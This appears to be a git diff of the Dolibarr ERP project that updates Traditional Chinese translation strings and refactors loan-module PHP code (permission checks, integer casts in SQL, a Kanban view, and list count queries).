SendMessageByEmail=以電子郵件發送訊息 TicketNewMessage=新訊息 ErrorMailRecipientIsEmptyForSendTicketMessage=收件人為空。未發送電子郵件 TicketGoIntoContactTab=請進入“通訊錄”標籤中進行選擇 -TicketMessageMailIntro=介紹 +TicketMessageMailIntro=訊息標題 TicketMessageMailIntroHelp=此段文字只會加到電子郵件的開頭,不會被保存。 -TicketMessageMailIntroLabelAdmin=所有服務單回應的訊息簡介 TicketMessageMailIntroText=你好,
      在您聯絡的服務單上有新的回覆。訊息為:
      TicketMessageMailIntroHelpAdmin=此段文字將插入到服務單回應文字之前。 -TicketMessageMailSignature=電子郵件簽名 -TicketMessageMailSignatureHelp=此段文字只會加到電子郵件的底部,不會被保存。 -TicketMessageMailSignatureText= %s 以 Dolibarr 發送的訊息 -TicketMessageMailSignatureLabelAdmin=回覆電子郵件的簽名 -TicketMessageMailSignatureHelpAdmin=此段文字將插入到回覆訊息之後。 +TicketMessageMailFooter=訊息頁尾 +TicketMessageMailFooterHelp=此文字僅位於使用email發送之訊息結尾並且不會被儲存 +TicketMessageMailFooterText= %s 以 Dolibarr 發送的訊息 +TicketMessageMailFooterHelpAdmin=此段文字將插入到回覆訊息之後。 TicketMessageHelp=此段文字將會被儲存在服務單卡片的訊息清單中。 TicketMessageSubstitutionReplacedByGenericValues=替換變量將被替換為一般值。 +ForEmailMessageWillBeCompletedWith=對於發送給外部用戶的電子郵件訊息,訊息將完成於 TimeElapsedSince=已經過時間 TicketTimeToRead=讀取前經過的時間 TicketTimeElapsedBeforeSince=之前/之後經過的時間 @@ -241,6 +245,7 @@ TicketMessageMailIntroAutoNewPublicMessage=在服務單上發布了一條新訊 TicketAssignedToYou=服務單已分配 TicketAssignedEmailBody=您已被%s分配了服務單#%s MarkMessageAsPrivate=將訊息標記為私人 +TicketMessageSendEmailHelp=一封電子郵件將發送給所有指定的聯絡人(內部聯絡人,以及外部聯絡人-勾選選項“%s”) TicketMessagePrivateHelp=此訊息不會顯示給外部用戶 TicketEmailOriginIssuer=原始服務單的發行者 InitialMessage=初始訊息 @@ -296,7 +301,7 @@ TicketNewEmailBodyInfosTrackUrlCustomer=您可以通過點擊以下連結在特 TicketCloseEmailBodyInfosTrackUrlCustomer=您可以通過點擊以下連結查看此服務單的歷史紀錄 TicketEmailPleaseDoNotReplyToThisEmail=請不要直接回覆此電子郵件!請使用回覆連結。 TicketPublicInfoCreateTicket=此表格使您可以在我們的管理系統中記錄支援服務單。 -TicketPublicPleaseBeAccuratelyDescribe=請準確描述問題。提供盡可能多的訊息使我們能夠正確辨別您的要求。 +TicketPublicPleaseBeAccuratelyDescribe=請準確描述您的問題。並盡可能的提供訊息使我們能夠正確辨別您需求。 TicketPublicMsgViewLogIn=請輸入服務單追蹤編號 TicketTrackId=公用追踪編號 OneOfTicketTrackId=您的追蹤編號之一 @@ -339,9 +344,9 @@ BoxLastModifiedTicket=最新修改的服務單 BoxLastModifiedTicketDescription=最新%s張修改的服務單 BoxLastModifiedTicketContent= BoxLastModifiedTicketNoRecordedTickets=沒有最近修改的服務單 -BoxTicketType=依類型分佈的已開放服務單 -BoxTicketSeverity=按嚴重性分類的已開放服務單 -BoxNoTicketSeverity=沒有已開放服務單 +BoxTicketType=依類型分佈的已啟用服務單 +BoxTicketSeverity=按嚴重性分類的已啟用服務單 +BoxNoTicketSeverity=沒有已啟用放服務單 BoxTicketLastXDays=最近 %s 天中依日期的新服務單數量 BoxTicketLastXDayswidget = 最近X天中依日期的新服務單數量 BoxNoTicketLastXDays=最近%s天沒有新服務單 diff --git a/htdocs/langs/zh_TW/users.lang b/htdocs/langs/zh_TW/users.lang index f1f851148d6..c0b619b0fbb 100644 --- a/htdocs/langs/zh_TW/users.lang +++ b/htdocs/langs/zh_TW/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=從群組中刪除 PasswordChangedAndSentTo=密碼更改,發送到%s。 PasswordChangeRequest=%s要求變更密碼 PasswordChangeRequestSent=%s 傳送給 %s 要求更改密碼。 -IfLoginExistPasswordRequestSent=如果此登入名稱為有效帳戶,則已發送一封電子郵件以重置密碼。 +IfLoginExistPasswordRequestSent=If this login is a valid account (with a valid email), an email to reset password has been sent. IfEmailExistPasswordRequestSent=如果此電子郵件為有效帳戶,則已發送一封用於重置密碼的電子郵件。 ConfirmPasswordReset=確認密碼重設 MenuUsersAndGroups=用戶和群組 @@ -66,9 +66,9 @@ LinkedToDolibarrUser=連結到用戶 LinkedToDolibarrThirdParty=連結到合作方 CreateDolibarrLogin=建立一位用戶 CreateDolibarrThirdParty=建立一位合作方(客戶/供應商) -LoginAccountDisableInDolibarr=在 Dolibarr 中帳戶已關閉。 +LoginAccountDisableInDolibarr=Account disabled in Dolibarr +PASSWORDInDolibarr=Password modified in Dolibarr UsePersonalValue=使用個人設定值 -InternalUser=內部用戶 ExportDataset_user_1=用戶及其屬性 DomainUser=網域用戶%s Reactivate=重新啟用 @@ -128,3 +128,8 @@ DateLastLogin=上次登入日期 DatePreviousLogin=以前登入的日期 IPLastLogin=上次登入的IP IPPreviousLogin=以前登入的IP +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows +UserPublicPageDesc=You can enable a virtual card for this user. An url with the user profile and a barcode will be available to allow anybody with a smartphone to scan it and add your contact to its address book. +EnablePublicVirtualCard=Enable the public virtual user card +PublicVirtualCardUrl=Public virtual user card diff --git a/htdocs/langs/zh_TW/website.lang b/htdocs/langs/zh_TW/website.lang index c406478e70a..5467dd7920e 100644 --- a/htdocs/langs/zh_TW/website.lang +++ b/htdocs/langs/zh_TW/website.lang @@ -1,5 +1,6 @@ # Dolibarr language file - Source file is en_US - website Shortname=代碼 +WebsiteName=Name of the website WebsiteSetupDesc=在此處建立您要使用的網站。然後進入選單網站進行編輯。 DeleteWebsite=刪除網站 ConfirmDeleteWebsite=您確定要刪除此網站嗎?其所有頁面和內容也將被刪除。上傳的文件(例如進入medias資料夾,ECM模組等)將保留。 @@ -15,9 +16,9 @@ WEBSITE_HTML_HEADER=附加在HTML標頭底部(所有頁面共有) WEBSITE_ROBOT=Robot檔案(robots.txt) WEBSITE_HTACCESS=網站 .htaccess 檔案 WEBSITE_MANIFEST_JSON=網站 manifest.json 檔案 -WEBSITE_README=README.md 檔案 WEBSITE_KEYWORDSDesc=使用逗號分隔值 -EnterHereLicenseInformation=在此處輸入meta data或許可證資訊以填入README.md檔案。如果您以模板型式發佈網站,則檔案將包含在模板軟體包中。 +EnterHereReadmeInformation=Enter here a description of the website. If you distribute your website as a template, the file will be included into the temptate package. +EnterHereLicenseInformation=Enter here the LICENSE of the code of the website. If you distribute your website as a template, the file will be included into the temptate package. HtmlHeaderPage=HTML標頭(僅用於此頁面) PageNameAliasHelp=頁面的名稱或別名。
      當從Web伺服器的虛擬主機(如Apacke,Nginx等)執行網站時,此別名還用於偽造SEO網址。使用按鈕“ %s ”編輯此別名。 EditTheWebSiteForACommonHeader=注意:如果要為所有頁面定義個性化標題,請在網站級別而不是頁面/容器上編輯標題。 @@ -42,6 +43,8 @@ ViewPageInNewTab=在新分頁中檢視頁面 SetAsHomePage=設為首頁 RealURL=真實網址 ViewWebsiteInProduction=使用家庭網址檢視網站 +Virtualhost=Virtual host or domain name +VirtualhostDesc=The name of the Virtual host or domain (For example: www.mywebsite.com, mybigcompany.net, ...) SetHereVirtualHost=使用Apache/NGinx/...
      建立您的網頁伺服器 (Apache, Nginx, ...) 啟用了含有PHP的專用虛擬主機並且根目錄資料夾位於
      %s ExampleToUseInApacheVirtualHostConfig=在Apache虛擬主機設定中使用的範例: YouCanAlsoTestWithPHPS=在開發環境中使用嵌入式PHP伺服器
      , 您也許想要使用
      php -S 0.0.0.0:8080 -t %s 來測試此嵌入式PHP伺服器 (需要PHP 5.5) 的網站 @@ -137,7 +140,7 @@ PagesRegenerated=已重新產生%s頁面/容器 RegenerateWebsiteContent=重新產生網站快取檔案 AllowedInFrames=允許在框架中 DefineListOfAltLanguagesInWebsiteProperties=在網站屬性中定義所有可用語言的清單。 -GenerateSitemaps=產生網站地圖檔案 +GenerateSitemaps=Generate website sitemap.xml file ConfirmGenerateSitemaps=如果您確認,您將刪除現有的網站地圖檔案... ConfirmSitemapsCreation=確認產生網站地圖 SitemapGenerated=網站地圖檔案%s已產生 @@ -145,3 +148,10 @@ ImportFavicon=圖示 ErrorFaviconType=圖示必須為png格式 ErrorFaviconSize=圖示的尺寸必須為16x16, 32x32 或 64x64 FaviconTooltip=上傳的影像檔案必須為 png (16x16、32x32 或 64x64) +NextContainer=Next page/container +PreviousContainer=Previous page/container +WebsiteMustBeDisabled=The website must have the status "%s" +WebpageMustBeDisabled=The web page must have the status "%s" +SetWebsiteOnlineBefore=When website is offline, all pages are offline. Change status of website first. +Booking=Booking +Reservation=Reservation diff --git a/htdocs/langs/zh_TW/withdrawals.lang b/htdocs/langs/zh_TW/withdrawals.lang index 1bd4ca264db..33b89362f1a 100644 --- a/htdocs/langs/zh_TW/withdrawals.lang +++ b/htdocs/langs/zh_TW/withdrawals.lang @@ -33,7 +33,7 @@ InvoiceWaitingPaymentByBankTransfer=等待信用轉帳付款的發票 AmountToWithdraw=提款金額 AmountToTransfer=轉帳金額 NoInvoiceToWithdraw=沒有為“ %s”打開的發票等待中。前往發票卡上的分頁“ %s”上產生請求。 -NoSupplierInvoiceToWithdraw=沒有含有'直接轉帳付款要求'的供應商發票等待中. 前往發票'%s'分頁產生要求. +NoSupplierInvoiceToWithdraw=No supplier invoice with open '%s' is waiting. Go on tab '%s' on invoice card to make a request. ResponsibleUser=用戶負責 WithdrawalsSetup=直接轉帳付款設定 CreditTransferSetup=信用轉帳設定 @@ -42,6 +42,7 @@ CreditTransferStatistics=信用轉帳統計 Rejects=拒絕 LastWithdrawalReceipt=最新%s張直接轉帳付款收據 MakeWithdrawRequest=提出直接轉帳付款請求 +MakeWithdrawRequestStripe=Make a direct debit payment request via Stripe MakeBankTransferOrder=提出貸記轉帳請求 WithdrawRequestsDone=已記錄%s直接轉帳付款請求 BankTransferRequestsDone=記錄了%s的信用轉移請求 @@ -100,8 +101,11 @@ CreditDate=信貸 WithdrawalFileNotCapable=無法為您的國家/地區產生提款收據檔案%s(不支援您的國家/地區) ShowWithdraw=顯示直接轉帳付款訂單 IfInvoiceNeedOnWithdrawPaymentWontBeClosed=但是,如果發票中至少有一個直接轉帳付款訂單尚未處理,則不會將其設定為已付款以允許事先提款管理。 -DoStandingOrdersBeforePayments=此分頁可讓您申請直接轉帳付款單。完成後,進入選單銀行->直接轉帳訂單以產生和管理直接轉帳付款訂單。關閉付款訂單後,將自動記錄發票付款,如果剩餘付款為空,則關閉發票。 -DoCreditTransferBeforePayments=此分頁允許您申請貸記轉帳訂單。完成後,進入選單銀行->貸記轉帳付款以產生和管理貸記轉帳訂單。當信用轉帳訂單關閉時,發票上的付款將被自動記錄,如果餘額為空,發票將被關閉。 +DoStandingOrdersBeforePayments=This tab allows you to request a direct debit payment order. Once done, you can go into menu "Bank->Payment by direct debit" to generate and manage a Direct debit order file. +DoStandingOrdersBeforePayments2=You can also send a request directly to a SEPA payment processor like Stripe, ... +DoStandingOrdersBeforePayments3=When direct debit order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. +DoCreditTransferBeforePayments=This tab allows you to request a credit transfer order. Once done, go into menu "Bank->Payment by credit transfer" to generate and manage a Credit transfer order file. +DoCreditTransferBeforePayments3=When credit transfer order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. WithdrawalFile=直接轉帳文件 CreditTransferFile=信用轉帳文件 SetToStatusSent=設定狀態為“檔案已傳送” @@ -118,7 +122,7 @@ WithdrawRequestErrorNilAmount=無法為空金額建立直接轉帳付款請求 SepaMandate=SEPA直接轉帳付款授權 SepaMandateShort=SEPA授權 PleaseReturnMandate=請以電子郵件將本授權書退回至%s或郵寄至 -SEPALegalText=通過簽署本授權書,您授權 (A) %s 向您的銀行發送指令以從您的帳戶中扣款,以及 (B) 您的銀行根據 %s 的指令從您的帳戶中扣款。作為您權利的一部分,您有權根據您與銀行協議的條款和條件從銀行獲得退款。您可以從銀行獲得的聲明中解釋了您對上述授權的權利。 +SEPALegalText=By signing this mandate form, you authorize (A) %s and its payment service provider to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with the instructions from %s. As part of your rights, you are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. Your rights regarding the above mandate are explained in a statement that you can obtain from your bank. CreditorIdentifier=債權人識別碼 CreditorName=債權人名稱 SEPAFillForm=(B)請填寫所有標有*的欄位 diff --git a/htdocs/langs/zh_TW/workflow.lang b/htdocs/langs/zh_TW/workflow.lang index 76f299ea694..e869e7a6051 100644 --- a/htdocs/langs/zh_TW/workflow.lang +++ b/htdocs/langs/zh_TW/workflow.lang @@ -22,7 +22,7 @@ descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_SUPPLIER_ORDER=當供應商發票已 descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION=在驗證收貨時將連結的來源採購訂單分類為已收貨(並且如果所有收貨的數量與要更新的採購訂單中的數量相同) descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION_CLOSED=收貨結束時將連結的來源採購訂單分類為已收貨(如果所有收貨的數量與要更新的採購訂單中的數量相同) # Autoclassify purchase invoice -descWORKFLOW_BILL_ON_RECEPTION=驗證連結的供應商訂單後,將接收分類為“已開票” +descWORKFLOW_EXPEDITION_CLASSIFY_CLOSED_INVOICE=Classify receptions to "billed" when a linked purchase invoice is validated (and if the amount of the invoice is the same as the total amount of the linked receptions) # Automatically link ticket to contract descWORKFLOW_TICKET_LINK_CONTRACT=當建立服務單時,連結符合之合作方的可用合約 descWORKFLOW_TICKET_USE_PARENT_COMPANY_CONTRACTS=當連結合約時,在母公司的合約中搜尋 @@ -31,6 +31,6 @@ descWORKFLOW_TICKET_CLOSE_INTERVENTION=關閉服務單後,關閉與服務單 AutomaticCreation=自動建立 AutomaticClassification=自動分類 # Autoclassify shipment -descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=驗證客戶發票後,將已連結的裝運來源分類為已關閉 +descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Classify linked source shipment as closed when customer invoice is validated (and if the amount of the invoice is the same as the total amount of the linked shipments) AutomaticClosing=自動關閉 AutomaticLinking=自動連結 diff --git a/htdocs/loan/card.php b/htdocs/loan/card.php index 0f19f994c70..65d9d5da9b1 100644 --- a/htdocs/loan/card.php +++ b/htdocs/loan/card.php @@ -1,4 +1,6 @@ * Copyright (C) 2015 Frederic France * Copyright (C) 2017 Laurent Destailleur @@ -37,6 +39,7 @@ if (isModEnabled('accounting')) { } require_once DOL_DOCUMENT_ROOT.'/projet/class/project.class.php'; require_once DOL_DOCUMENT_ROOT.'/core/class/html.formprojet.class.php'; +require_once DOL_DOCUMENT_ROOT.'/compta/bank/class/account.class.php'; // Load translation files required by the page $langs->loadLangs(array("compta", "bills", "loan")); @@ -66,13 +69,14 @@ $error = 0; * Actions */ +$parameters = array(); $reshook = $hookmanager->executeHooks('doActions', $parameters, $object, $action); // Note that $action and $object may have been modified by some hooks if ($reshook < 0) { setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); } if (empty($reshook)) { // Classify paid - if ($action == 'confirm_paid' && $confirm == 'yes' && $user->rights->loan->write) { + if ($action == 'confirm_paid' && $confirm == 'yes' && $user->hasRight('loan', 'write')) { $object->fetch($id); $result = $object->setPaid($user); if ($result > 0) { @@ -83,7 +87,7 @@ if (empty($reshook)) { } // Delete loan - if ($action == 'confirm_delete' && $confirm == 'yes' && $user->rights->loan->write) { + if ($action == 'confirm_delete' && $confirm == 'yes' && $user->hasRight('loan', 'write')) { $object->fetch($id); $result = $object->delete($user); if ($result > 0) { @@ -96,12 +100,12 @@ if (empty($reshook)) { } // Add loan - if ($action == 'add' && $user->rights->loan->write) { + if ($action == 'add' && $user->hasRight('loan', 'write')) { if (!$cancel) { $datestart = dol_mktime(12, 0, 0, GETPOST('startmonth', 'int'), GETPOST('startday', 'int'), GETPOST('startyear', 'int')); - $dateend = dol_mktime(12, 0, 0, GETPOST('endmonth', 'int'), GETPOST('endday', 'int'), GETPOST('endyear', 'int')); + $dateend = dol_mktime(12, 0, 0, GETPOST('endmonth', 'int'), GETPOST('endday', 'int'), GETPOST('endyear', 'int')); $capital = price2num(GETPOST('capital')); - $rate = GETPOST('rate'); + $rate = price2num(GETPOST('rate')); if (!$capital) { $error++; $action = 'create'; @@ -164,23 +168,23 @@ if (empty($reshook)) { header("Location: list.php"); exit(); } - } elseif ($action == 'update' && $user->rights->loan->write) { + } elseif ($action == 'update' && $user->hasRight('loan', 'write')) { // Update record if (!$cancel) { $result = $object->fetch($id); $datestart = dol_mktime(12, 0, 0, GETPOST('startmonth', 'int'), GETPOST('startday', 'int'), GETPOST('startyear', 'int')); - $dateend = dol_mktime(12, 0, 0, GETPOST('endmonth', 'int'), GETPOST('endday', 'int'), GETPOST('endyear', 'int')); - $capital = price2num(GETPOST('capital')); + $dateend = dol_mktime(12, 0, 0, GETPOST('endmonth', 'int'), GETPOST('endday', 'int'), GETPOST('endyear', 'int')); + $capital = price2num(GETPOST('capital')); if (!$capital) { setEventMessages($langs->trans("ErrorFieldRequired", $langs->transnoentities("LoanCapital")), null, 'errors'); $action = 'edit'; } else { $object->datestart = $datestart; - $object->dateend = $dateend; - $object->capital = $capital; - $object->nbterm = GETPOST("nbterm", 'int'); + $object->dateend = $dateend; + $object->capital = $capital; + $object->nbterm = GETPOST("nbterm", 'int'); $object->rate = price2num(GETPOST("rate", 'alpha')); $object->insurance_amount = price2num(GETPOST('insurance_amount', 'int')); @@ -221,7 +225,7 @@ if (empty($reshook)) { } // Link to a project - if ($action == 'classin' && $user->rights->loan->write) { + if ($action == 'classin' && $user->hasRight('loan', 'write')) { $object->fetch($id); $result = $object->setProject($projectid); if ($result < 0) { @@ -229,7 +233,7 @@ if (empty($reshook)) { } } - if ($action == 'setlabel' && $user->rights->loan->write) { + if ($action == 'setlabel' && $user->hasRight('loan', 'write')) { $object->fetch($id); $result = $object->setValueFrom('label', GETPOST('label'), '', '', 'text', '', $user, 'LOAN_MODIFY'); if ($result < 0) { @@ -291,13 +295,13 @@ if ($action == 'create') { // Date Start print "
      "; print ''; // Date End print ""; print ''; // Number of terms @@ -346,22 +350,22 @@ if ($action == 'create') { // Accountancy_account_capital print ''; print ''; // Accountancy_account_insurance print ''; print ''; // Accountancy_account_interest print ''; print ''; - } else // For external software - { + } else { + // For external software // Accountancy_account_capital print ''; print ''; print ''; print ''; + print ''; print ''; print ''; print ''; print ''; + $conf->cache['bankaccount'] = array(); + while ($i < $num) { $objp = $db->fetch_object($resql); @@ -670,9 +679,19 @@ if ($id > 0) { print ''; print '\n"; print "\n"; - print '\n"; - print '\n"; - print '\n"; + print "\n"; + print '\n"; + print '\n"; + print '\n"; print ""; $total_capital += $objp->amount_capital; $i++; @@ -681,12 +700,12 @@ if ($id > 0) { $totalpaid = $total_capital; if ($object->paid == 0 || $object->paid == 2) { - print ''; - print ''; + print ''; + print ''; $staytopay = $object->capital - $totalpaid; - print ''; + print ''; print ''; @@ -721,17 +740,17 @@ if ($id > 0) { print '
      '; // Edit - if (($object->paid == 0 || $object->paid == 2) && $user->rights->loan->write) { + if (($object->paid == 0 || $object->paid == 2) && $user->hasRight('loan', 'write')) { print ''; } // Emit payment - if (($object->paid == 0 || $object->paid == 2) && ((price2num($object->capital) > 0 && round($staytopay) < 0) || (price2num($object->capital) > 0 && round($staytopay) > 0)) && $user->rights->loan->write) { + if (($object->paid == 0 || $object->paid == 2) && ((price2num($object->capital) > 0 && round($staytopay) < 0) || (price2num($object->capital) > 0 && round($staytopay) > 0)) && $user->hasRight('loan', 'write')) { print ''; } // Classify 'paid' - if (($object->paid == 0 || $object->paid == 2) && round($staytopay) <= 0 && $user->rights->loan->write) { + if (($object->paid == 0 || $object->paid == 2) && round($staytopay) <= 0 && $user->hasRight('loan', 'write')) { print ''; } diff --git a/htdocs/loan/class/loan.class.php b/htdocs/loan/class/loan.class.php index 81a00904794..5b807779634 100644 --- a/htdocs/loan/class/loan.class.php +++ b/htdocs/loan/class/loan.class.php @@ -1,6 +1,6 @@ - * Copyright (C) 2015-2018 Frédéric France + * Copyright (C) 2015-2023 Frédéric France * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -66,6 +66,9 @@ class Loan extends CommonObject public $account_capital; public $account_insurance; public $account_interest; + public $accountancy_account_capital; + public $accountancy_account_insurance; + public $accountancy_account_interest; /** * @var integer|string date_creation @@ -104,6 +107,10 @@ class Loan extends CommonObject */ public $fk_project; + /** + * @var int totalpaid + */ + public $totalpaid; const STATUS_UNPAID = 0; const STATUS_PAID = 1; @@ -453,7 +460,7 @@ class Loan extends CommonObject // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps /** - * Tag loan as payement as unpaid + * Tag loan as payment as unpaid * @deprecated * @see setUnpaid() * @param User $user Object user making change @@ -467,7 +474,7 @@ class Loan extends CommonObject } /** - * Tag loan as payement as unpaid + * Tag loan as payment as unpaid * * @param User $user Object user making change * @return int <0 if KO, >0 if OK @@ -637,7 +644,6 @@ class Loan extends CommonObject $this->fk_bank = 1; $this->label = 'SPECIMEN'; $this->specimen = 1; - $this->socid = 1; $this->account_capital = 16; $this->account_insurance = 616; $this->account_interest = 518; @@ -717,4 +723,43 @@ class Loan extends CommonObject return -1; } } + + /** + * Return clicable link of object (with eventually picto) + * + * @param string $option Where point the link (0=> main card, 1,2 => shipment, 'nolink'=>No link) + * @return string HTML Code for Kanban thumb. + */ + public function getKanbanView($option = '') + { + global $langs; + + $selected = (empty($arraydata['selected']) ? 0 : $arraydata['selected']); + + $return = '
      '; + $return .= '
      '; + $return .= ''; + $return .= img_picto('', $this->picto); + $return .= ''; + $return .= '
      '; + $return .= ''.(method_exists($this, 'getNomUrl') ? $this->getNomUrl(1) : $this->ref).''; + $return .= ''; + if (property_exists($this, 'capital')) { + $return .= ' | '.$langs->trans("Amount").' : '.price($this->capital).''; + } + if (property_exists($this, 'datestart')) { + $return .= '
      '.$langs->trans("DateStart").' : '.dol_print_date($this->db->jdate($this->datestart), 'day').''; + } + if (property_exists($this, 'dateend')) { + $return .= '
      '.$langs->trans("DateEnd").' : '.dol_print_date($this->db->jdate($this->dateend), 'day').''; + } + + if (method_exists($this, 'LibStatut')) { + $return .= '
      '.$this->getLibStatut(3, $this->alreadypaid).'
      '; + } + $return .= '
      '; + $return .= '
      '; + $return .= '
      '; + return $return; + } } diff --git a/htdocs/loan/class/loanschedule.class.php b/htdocs/loan/class/loanschedule.class.php index 9beff9dd22e..2618d50c6fd 100644 --- a/htdocs/loan/class/loanschedule.class.php +++ b/htdocs/loan/class/loanschedule.class.php @@ -1,6 +1,6 @@ - * Copyright (C) 2018 Frédéric France + * Copyright (C) 2018-2023 Frédéric France * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -334,10 +334,10 @@ class LoanSchedule extends CommonObject $sql .= " num_payment=".(isset($this->num_payment) ? "'".$this->db->escape($this->num_payment)."'" : "null").","; $sql .= " note_private=".(isset($this->note_private) ? "'".$this->db->escape($this->note_private)."'" : "null").","; $sql .= " note_public=".(isset($this->note_public) ? "'".$this->db->escape($this->note_public)."'" : "null").","; - $sql .= " fk_bank=".(isset($this->fk_bank) ? $this->fk_bank : "null").","; - $sql .= " fk_payment_loan=".(isset($this->fk_payment_loan) ? $this->fk_payment_loan : "null").","; - $sql .= " fk_user_creat=".(isset($this->fk_user_creat) ? $this->fk_user_creat : "null").","; - $sql .= " fk_user_modif=".(isset($this->fk_user_modif) ? $this->fk_user_modif : "null").""; + $sql .= " fk_bank=".(isset($this->fk_bank) ? ((int) $this->fk_bank) : "null").","; + $sql .= " fk_payment_loan=".(isset($this->fk_payment_loan) ? ((int) $this->fk_payment_loan) : "null").","; + $sql .= " fk_user_creat=".(isset($this->fk_user_creat) ? ((int) $this->fk_user_creat) : "null").","; + $sql .= " fk_user_modif=".(isset($this->fk_user_modif) ? ((int) $this->fk_user_modif) : "null"); $sql .= " WHERE rowid=".((int) $this->id); diff --git a/htdocs/loan/class/paymentloan.class.php b/htdocs/loan/class/paymentloan.class.php index 3ce8af01790..be53fa38b3a 100644 --- a/htdocs/loan/class/paymentloan.class.php +++ b/htdocs/loan/class/paymentloan.class.php @@ -343,9 +343,9 @@ class PaymentLoan extends CommonObject $sql .= " num_payment=".(isset($this->num_payment) ? "'".$this->db->escape($this->num_payment)."'" : "null").","; $sql .= " note_private=".(isset($this->note_private) ? "'".$this->db->escape($this->note_private)."'" : "null").","; $sql .= " note_public=".(isset($this->note_public) ? "'".$this->db->escape($this->note_public)."'" : "null").","; - $sql .= " fk_bank=".(isset($this->fk_bank) ? $this->fk_bank : "null").","; - $sql .= " fk_user_creat=".(isset($this->fk_user_creat) ? $this->fk_user_creat : "null").","; - $sql .= " fk_user_modif=".(isset($this->fk_user_modif) ? $this->fk_user_modif : "null").""; + $sql .= " fk_bank=".(isset($this->fk_bank) ? ((int) $this->fk_bank) : "null").","; + $sql .= " fk_user_creat=".(isset($this->fk_user_creat) ? ((int) $this->fk_user_creat) : "null").","; + $sql .= " fk_user_modif=".(isset($this->fk_user_modif) ?((int) $this->fk_user_modif) : "null"); $sql .= " WHERE rowid=".((int) $this->id); $this->db->begin(); diff --git a/htdocs/loan/document.php b/htdocs/loan/document.php index c809711005f..04a72545738 100644 --- a/htdocs/loan/document.php +++ b/htdocs/loan/document.php @@ -119,7 +119,7 @@ if ($object->id) { $morehtmlref .= ''; $morehtmlref .= ''; } else { - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1, '', 'maxwidth300'); } } else { if (!empty($object->fk_project)) { diff --git a/htdocs/loan/info.php b/htdocs/loan/info.php index 49618d0f46c..2156b889197 100644 --- a/htdocs/loan/info.php +++ b/htdocs/loan/info.php @@ -83,7 +83,7 @@ if (isModEnabled('project')) { $morehtmlref .= ''; $morehtmlref .= ''; } else { - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1, '', 'maxwidth300'); } } else { if (!empty($object->fk_project)) { @@ -102,8 +102,6 @@ $morehtmlref .= '
      '; $linkback = ''.$langs->trans("BackToList").''; -$object->totalpaid = $totalpaid; // To give a chance to dol_banner_tab to use already paid amount to show correct status - dol_banner_tab($object, 'id', $linkback, 1, 'rowid', 'ref', $morehtmlref, '', 0, '', $morehtmlright); print '
      '; diff --git a/htdocs/loan/list.php b/htdocs/loan/list.php index 146c0521a61..57e5ef97d97 100644 --- a/htdocs/loan/list.php +++ b/htdocs/loan/list.php @@ -42,6 +42,7 @@ $limit = GETPOST('limit', 'int') ? GETPOST('limit', 'int') : $conf->liste_limit; $sortfield = GETPOST('sortfield', 'aZ09comma'); $sortorder = GETPOST('sortorder', 'aZ09comma'); $page = GETPOSTISSET('pageplusone') ? (GETPOST('pageplusone') - 1) : GETPOST("page", 'int'); +$massaction = GETPOST('massaction', 'alpha'); if (empty($page) || $page == -1 || GETPOST('button_search', 'alpha') || GETPOST('button_removefilter', 'alpha') || (empty($toselect) && $massaction === '0')) { $page = 0; } // If $page is not defined, or '' or -1 or if we click on clear filters or if we select empty mass action @@ -66,6 +67,7 @@ $search_amount = GETPOST('search_amount', 'alpha'); $contextpage = GETPOST('contextpage', 'aZ') ?GETPOST('contextpage', 'aZ') : 'loanlist'; // To manage different context of search $optioncss = GETPOST('optioncss', 'alpha'); +$mode = GETPOST('mode', 'alpha'); // mode view result /* @@ -107,8 +109,13 @@ $title = $langs->trans('Loans'); $sql = "SELECT l.rowid, l.label, l.capital, l.datestart, l.dateend, l.paid,"; $sql .= " SUM(pl.amount_capital) as alreadypaid"; -$sql .= " FROM ".MAIN_DB_PREFIX."loan as l LEFT JOIN ".MAIN_DB_PREFIX."payment_loan AS pl"; -$sql .= " ON l.rowid = pl.fk_loan"; + +$sqlfields = $sql; // $sql fields to remove for count total + +$sql .= " FROM ".MAIN_DB_PREFIX."loan as l"; +$linktopl = " LEFT JOIN ".MAIN_DB_PREFIX."payment_loan AS pl ON l.rowid = pl.fk_loan"; +$sql .= $linktopl; + $sql .= " WHERE l.entity = ".$conf->entity; if ($search_amount) { $sql .= natural_search("l.capital", $search_amount, 1); @@ -120,36 +127,44 @@ if ($search_label) { $sql .= natural_search("l.label", $search_label); } $sql .= " GROUP BY l.rowid, l.label, l.capital, l.paid, l.datestart, l.dateend"; -$sql .= $db->order($sortfield, $sortorder); // Count total nb of records $nbtotalofrecords = ''; if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { - $resql = $db->query($sql); - $nbtotalofrecords = $db->num_rows($resql); - if (($page * $limit) > $nbtotalofrecords) { // if total of record found is smaller than page * limit, goto and load page 0 + /* The fast and low memory method to get and count full list converts the sql into a sql count */ + $sqlforcount = preg_replace('/^'.preg_quote($sqlfields, '/').'/', 'SELECT COUNT(*) as nbtotalofrecords', $sql); + $sqlforcount = preg_replace('/'.preg_quote($linktopl, '/').'/', '', $sqlforcount); + $sqlforcount = preg_replace('/GROUP BY .*$/', '', $sqlforcount); + $resql = $db->query($sqlforcount); + if ($resql) { + $objforcount 